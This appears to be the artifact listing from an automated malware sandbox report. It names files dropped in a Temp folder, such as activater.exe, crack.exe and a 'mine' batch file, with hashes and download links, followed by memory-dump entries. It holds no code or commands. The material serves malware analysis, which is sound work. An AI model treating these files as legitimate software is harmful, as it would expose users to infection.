                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-processthreads-l1-1-1.dll
                                                      • Size 4KB
                                                      • SHA256 053a83b3f8ac76232952bdb8fb5c5067f06ba48f82b474829c25326adbd26361
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-core-profile-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-profile-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 a124c3f8402636219e06beb708d8be67f6dbaa7ff4f6d402b50734230fcfba1b
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-rtlsupport-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-rtlsupport-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 f8dd900d459335eedbe3855f1ba7858e19dfc0d348ebd25e6548d4ecb0da61b1
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-string-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-string-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 b5082680b5ca71fdea49e8e23efbda2b72f6e1b1a48782b4b63530ee7be19a2c
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-synch-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-synch-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 c75a838ff92199678df2ad04a31f609309967cf6b66d34c58d26eb3909e6daa5
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-synch-l1-2-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-synch-l1-2-0.dll
                                                      • Size 4KB
                                                      • SHA256 7f840e721c8cd073631f03159565219d24128eaca905668cfc7394889b908b9e
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-sysinfo-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-sysinfo-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 1d7a5a3cd3185d839d31c83dcb2192a08a80c4a7ec17eae550ab5a4d84b189d9
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-timezone-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-timezone-l1-1-0.dll
                                                      • Size 3KB
                                                      • SHA256 e4d28023eca5bd147ac645048b18bd7272735da10c30c2dbc83cd1c96703d869
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-core-util-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-core-util-l1-1-0.dll
                                                      • Size 2KB
                                                      • SHA256 84ce120aae88dd77a71c30630d409382f2ad22b11be4ccedd1800c4bb2ca4937
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      api-ms-win-crt-conio-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-conio-l1-1-0.dll
                                                      • Size 12KB
                                                      • SHA256 9165248996814b72f6a334750e65994b39f971267ffc95f759e529356fa3125c
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-convert-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-convert-l1-1-0.dll
                                                      • Size 15KB
                                                      • SHA256 4aea1cedd976ef15a47a3433f3a2e176b1c5e495a54497dba27247b35a1b8449
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-environment-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-environment-l1-1-0.dll
                                                      • Size 11KB
                                                      • SHA256 6a3fd4b050f19ec5c53c15544b1f1b1540ac84f6061c0ec353983eb891330fda
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-filesystem-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-filesystem-l1-1-0.dll
                                                      • Size 13KB
                                                      • SHA256 2def5140c289b89c9a27a2112a2cc01ad1a902944c597d6204bed4efbc09ff7a
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-heap-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-heap-l1-1-0.dll
                                                      • Size 12KB
                                                      • SHA256 c4e195d297d163a49514847ef166da614499404d28bc9419e3e6a28a8e03e9b6
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-locale-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-locale-l1-1-0.dll
                                                      • Size 11KB
                                                      • SHA256 fe51064e0728d553d0f3e96967671f7e6ae4ebd35d821679292014dd4c3bb8e3
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-math-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-math-l1-1-0.dll
                                                      • Size 20KB
                                                      • SHA256 2e1664e05c238d529393162f23640a51def436279184d2e2c16cfbf92ab736c1
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-process-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-process-l1-1-0.dll
                                                      • Size 12KB
                                                      • SHA256 52cc325a4c2158b687c95f9702f4be2e3ec41c80207e50f252f5620ba1784649
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-runtime-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-runtime-l1-1-0.dll
                                                      • Size 15KB
                                                      • SHA256 8150a238851d7da74bc8f6f13262a8d6568373dc509f67544ab6a62398f20c4f
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-stdio-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-stdio-l1-1-0.dll
                                                      • Size 17KB
                                                      • SHA256 de44561e4587c588bc140502fd6cd52e5955abeec63d415be38a6d03f35f808f
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-string-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-string-l1-1-0.dll
                                                      • Size 17KB
                                                      • SHA256 038b93e611704cc5b9f70a91ebf06e9db62ef40180ec536d9e5ab68eb4bb1333
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      api-ms-win-crt-time-l1-1-0.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\api-ms-win-crt-time-l1-1-0.dll
                                                      • Size 13KB
                                                      • SHA256 957177c4fe21ae182dfe3a2a13a1ff020f143048fc14499ae9856e523605083e
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      base_library.zip
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\base_library.zip
                                                      • Size 1.4MB
                                                      • SHA256 0d35e6c9d1f7673af187fe29848fc1e3363c3a9f4cfe3a770d78b6d0b389892e
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      libffi-8.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\libffi-8.dll
                                                      • Size 24KB
                                                      • SHA256 5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      python311.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\python311.dll
                                                      • Size 1.6MB
                                                      • SHA256 72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      ucrtbase.dll
                                                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI13882\ucrtbase.dll
                                                      • Size 961KB
                                                      • SHA256 4918f2e631ef1ae34c7863fa4f3bd7663b2fdf0fa160c0de507ed343484ac806
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      ._renpy
                                                      • Path C:\Users\Admin\AppData\Local\Temp\__MACOSX\._renpy
                                                      • Size 174B
                                                      • SHA256 d3c2107e3cd3e13d11613fd02d2337a73c8b903f6f7b8765de3ccfd77e4817e2
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      __PSScriptPolicyTest_svwhfzwr.wz1.ps1
                                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svwhfzwr.wz1.ps1
                                                      • Size 60B
                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                      • MD5 SHA1 SHA512 TLSH
                                                      Submit Download

                                                      aADzFLUQbl.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\aADzFLUQbl.tmp
                                                      • Size 56KB
                                                      • SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      activater.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\activater.exe
                                                      • Size 10.3MB
                                                      • SHA256 3593d5f5fd5e5bc118c96d0a55124878b77ed908ffa92bf51a7f9ed1cda968cd
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      clip.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\clip.exe
                                                      • Size 18KB
                                                      • SHA256 7e1e50f0ca9c2fa3f0c21ae8a3e35d9731a792e1a4a7ad951ea74bc5879640d3
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      crack.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\crack.exe
                                                      • Size 348KB
                                                      • SHA256 f36e5b52f5fff2806a069f28717d9fedef2a4ec1a91f0d0659c815e801050e7a
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      installer.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                      • Size 564KB
                                                      • SHA256 adc8ea9f34cdeb74fab01c794a665b4b0d39262401fe6597b7af6ae095d4628a
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      nQgewK360v.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\nQgewK360v.tmp
                                                      • Size 204KB
                                                      • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      pswEgTAxKo.tmp
                                                      • Path C:\Users\Admin\AppData\Local\Temp\pswEgTAxKo.tmp
                                                      • Size 138KB
                                                      • SHA256 338e96cc3bc89036a4e3297db198bbd06c1f4dc75e236e6833611d3df68e6de7
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      tmp_10235_mine.bat
                                                      • Path C:\Users\Admin\AppData\Local\Temp\tmp_10235_mine.bat
                                                      • Size 62KB
                                                      • SHA256 591400feaa0d90f7e9c376ba1aaf502cec1f9572495daaefaa889c1e79891ca7
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      tmp_12_update3.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\tmp_12_update3.exe
                                                      • Size 351KB
                                                      • SHA256 8098d0cf7a2460b14d7145b0c15a183c5fdbaa9e3932b1ee701aa4c2d59c0d9c
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      tmp_24318_update1.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\tmp_24318_update1.exe
                                                      • Size 2.6MB
                                                      • SHA256 748a02784c8a04459884778a66b2dbb5156b01b324c7b73f06c8058596d1a030
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      tmp_4837_update2.exe
                                                      • Path C:\Users\Admin\AppData\Local\Temp\tmp_4837_update2.exe
                                                      • Size 2.4MB
                                                      • SHA256 94ffe61fb9619a00d8c1066dc8728df2af733f0b9ca8783a93ecbe1e52e59562
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                                      Submit Download

                                                      memory/1168-2434-0x0000000007800000-0x0000000007814000-memory.dmp
                                                      Download

                                                      memory/1168-2399-0x00000000732E0000-0x000000007332C000-memory.dmp
                                                      Download

                                                      memory/1168-2421-0x00000000077C0000-0x00000000077D1000-memory.dmp
                                                      Download

                                                      memory/1736-2485-0x00007FFC0CE30000-0x00007FFC0CE5A000-memory.dmp
                                                      Download

                                                      memory/1884-1192-0x0000000005ED0000-0x00000000063FC000-memory.dmp
                                                      Download

                                                      memory/1884-1220-0x0000000006C50000-0x0000000006CB6000-memory.dmp
                                                      Download

                                                      memory/1884-788-0x0000000005010000-0x00000000051D2000-memory.dmp
                                                      Download

                                                      memory/1884-644-0x00000000004A0000-0x0000000000534000-memory.dmp
                                                      Download

                                                      memory/2388-1191-0x00000217B3E30000-0x00000217B3E52000-memory.dmp
                                                      Download

                                                      memory/2424-2328-0x00000288D8EB0000-0x00000288D8EB8000-memory.dmp
                                                      Download

                                                      memory/2444-2454-0x00007FFC1B0C0000-0x00007FFC1B0E4000-memory.dmp
                                                      Download

                                                      memory/2444-2510-0x00007FFC04830000-0x00007FFC0494C000-memory.dmp
                                                      Download

                                                      memory/2444-725-0x00007FFC06980000-0x00007FFC06F68000-memory.dmp
                                                      Download

                                                      memory/2444-1597-0x00007FFC05D60000-0x00007FFC05ED3000-memory.dmp
                                                      Download

                                                      memory/2444-1596-0x00007FFC1AE60000-0x00007FFC1AE83000-memory.dmp
                                                      Download

                                                      memory/2444-2097-0x00007FFC1B0C0000-0x00007FFC1B0E4000-memory.dmp
                                                      Download

                                                      memory/2444-2110-0x00007FFC059E0000-0x00007FFC05D55000-memory.dmp
                                                      Download

                                                      memory/2444-2116-0x00007FFC04830000-0x00007FFC0494C000-memory.dmp
                                                      Download

                                                      memory/2444-2112-0x00007FFC05920000-0x00007FFC059D8000-memory.dmp
                                                      Download

                                                      memory/2444-2108-0x00007FFC1ACD0000-0x00007FFC1ACFE000-memory.dmp
                                                      Download

                                                      memory/2444-2105-0x00007FFC1B050000-0x00007FFC1B069000-memory.dmp
                                                      Download

                                                      memory/2444-2095-0x00007FFC06980000-0x00007FFC06F68000-memory.dmp
                                                      Download

                                                      memory/2444-1179-0x00007FFC1B050000-0x00007FFC1B069000-memory.dmp
                                                      Download

                                                      memory/2444-1006-0x00007FFC1B070000-0x00007FFC1B09D000-memory.dmp
                                                      Download

                                                      memory/2444-1180-0x00007FFC1BCF0000-0x00007FFC1BCFD000-memory.dmp
                                                      Download

                                                      memory/2444-1181-0x00007FFC1ACD0000-0x00007FFC1ACFE000-memory.dmp
                                                      Download

                                                      memory/2444-1182-0x00007FFC05920000-0x00007FFC059D8000-memory.dmp
                                                      Download

                                                      memory/2444-2506-0x00007FFC059E0000-0x00007FFC05D55000-memory.dmp
                                                      Download

                                                      memory/2444-2511-0x00007FFC18B90000-0x00007FFC18BA4000-memory.dmp
                                                      Download

                                                      memory/2444-2512-0x00007FFC1B0C0000-0x00007FFC1B0E4000-memory.dmp
                                                      Download

                                                      memory/2444-2513-0x00007FFC1BDC0000-0x00007FFC1BDCF000-memory.dmp
                                                      Download

                                                      memory/2444-2515-0x00007FFC1B070000-0x00007FFC1B09D000-memory.dmp
                                                      Download

                                                      memory/2444-2516-0x00007FFC1AE60000-0x00007FFC1AE83000-memory.dmp
                                                      Download

                                                      memory/2444-2517-0x00007FFC05D60000-0x00007FFC05ED3000-memory.dmp
                                                      Download

                                                      memory/2444-2518-0x00007FFC1B050000-0x00007FFC1B069000-memory.dmp
                                                      Download

                                                      memory/2444-2519-0x00007FFC1BCF0000-0x00007FFC1BCFD000-memory.dmp
                                                      Download

                                                      memory/2444-2520-0x00007FFC1ACD0000-0x00007FFC1ACFE000-memory.dmp
                                                      Download

                                                      memory/2444-2521-0x00007FFC05920000-0x00007FFC059D8000-memory.dmp
                                                      Download

                                                      memory/2444-2522-0x00007FFC06980000-0x00007FFC06F68000-memory.dmp
                                                      Download

                                                      memory/2444-2523-0x00007FFC1BAC0000-0x00007FFC1BACD000-memory.dmp
                                                      Download

                                                      memory/2444-2514-0x00007FFC1B0A0000-0x00007FFC1B0B9000-memory.dmp
                                                      Download

                                                      memory/2444-1183-0x00007FFC059E0000-0x00007FFC05D55000-memory.dmp
                                                      Download

                                                      memory/2444-1177-0x00007FFC1AE60000-0x00007FFC1AE83000-memory.dmp
                                                      Download

                                                      memory/2444-2459-0x00007FFC05D60000-0x00007FFC05ED3000-memory.dmp
                                                      Download

                                                      memory/2444-1005-0x00007FFC1B0A0000-0x00007FFC1B0B9000-memory.dmp
                                                      Download

                                                      memory/2444-1003-0x00007FFC1BDC0000-0x00007FFC1BDCF000-memory.dmp
                                                      Download

                                                      memory/2444-1002-0x00007FFC1B0C0000-0x00007FFC1B0E4000-memory.dmp
                                                      Download

                                                      memory/2444-1178-0x00007FFC05D60000-0x00007FFC05ED3000-memory.dmp
                                                      Download

                                                      memory/2444-1185-0x00007FFC18B90000-0x00007FFC18BA4000-memory.dmp
                                                      Download

                                                      memory/2444-1189-0x00007FFC04830000-0x00007FFC0494C000-memory.dmp
                                                      Download

                                                      memory/2444-1188-0x00007FFC06980000-0x00007FFC06F68000-memory.dmp
                                                      Download

                                                      memory/2444-1198-0x00007FFC1B0C0000-0x00007FFC1B0E4000-memory.dmp
                                                      Download

                                                      memory/2444-1184-0x00007FFC1BAC0000-0x00007FFC1BACD000-memory.dmp
                                                      Download

                                                      memory/2444-2453-0x00007FFC06980000-0x00007FFC06F68000-memory.dmp
                                                      Download

                                                      memory/2724-2310-0x00007FFC0E520000-0x00007FFC0E54A000-memory.dmp
                                                      Download

                                                      memory/3172-2534-0x0000000007C40000-0x0000000007C54000-memory.dmp
                                                      Download

                                                      memory/3172-2487-0x00000000060A0000-0x00000000063F4000-memory.dmp
                                                      Download

                                                      memory/3172-2495-0x0000000006760000-0x00000000067AC000-memory.dmp
                                                      Download

                                                      memory/3172-2533-0x0000000007C00000-0x0000000007C11000-memory.dmp
                                                      Download

                                                      memory/3172-2532-0x00000000078A0000-0x0000000007943000-memory.dmp
                                                      Download

                                                      memory/3172-2524-0x0000000074A40000-0x0000000074A8C000-memory.dmp
                                                      Download

                                                      memory/4828-556-0x0000000000140000-0x000000000014C000-memory.dmp
                                                      Download

                                                      memory/5908-2385-0x0000000007D60000-0x0000000007DF6000-memory.dmp
                                                      Download

                                                      memory/5908-2368-0x0000000006790000-0x00000000067AE000-memory.dmp
                                                      Download

                                                      memory/5908-2383-0x0000000006E90000-0x0000000006EAA000-memory.dmp
                                                      Download

                                                      memory/5908-2382-0x0000000008180000-0x00000000087FA000-memory.dmp
                                                      Download

                                                      memory/5908-2381-0x0000000007A50000-0x0000000007AF3000-memory.dmp
                                                      Download

                                                      memory/5908-2371-0x00000000732E0000-0x000000007332C000-memory.dmp
                                                      Download

                                                      memory/5908-2379-0x0000000006CC0000-0x0000000006CDE000-memory.dmp
                                                      Download

                                                      memory/5908-2370-0x0000000006C60000-0x0000000006C92000-memory.dmp
                                                      Download

                                                      memory/5908-2369-0x0000000006D10000-0x0000000006D5C000-memory.dmp
                                                      Download

                                                      memory/5908-2384-0x0000000007B50000-0x0000000007B5A000-memory.dmp
                                                      Download

                                                      memory/5908-2367-0x00000000061C0000-0x0000000006514000-memory.dmp
                                                      Download

                                                      memory/5908-2364-0x00000000060E0000-0x0000000006146000-memory.dmp
                                                      Download

                                                      memory/5908-2398-0x0000000007D40000-0x0000000007D48000-memory.dmp
                                                      Download

                                                      memory/5908-2393-0x0000000007CD0000-0x0000000007CE1000-memory.dmp
                                                      Download

                                                      memory/5908-2395-0x0000000007D00000-0x0000000007D0E000-memory.dmp
                                                      Download

                                                      memory/5908-2396-0x0000000007D10000-0x0000000007D24000-memory.dmp
                                                      Download

                                                      memory/5908-2358-0x00000000058D0000-0x00000000058F2000-memory.dmp
                                                      Download

                                                      memory/5908-2357-0x0000000005940000-0x0000000005F68000-memory.dmp
                                                      Download

                                                      memory/5908-2356-0x00000000031C0000-0x00000000031F6000-memory.dmp
                                                      Download

                                                      memory/5908-2397-0x0000000007E00000-0x0000000007E1A000-memory.dmp
                                                      Download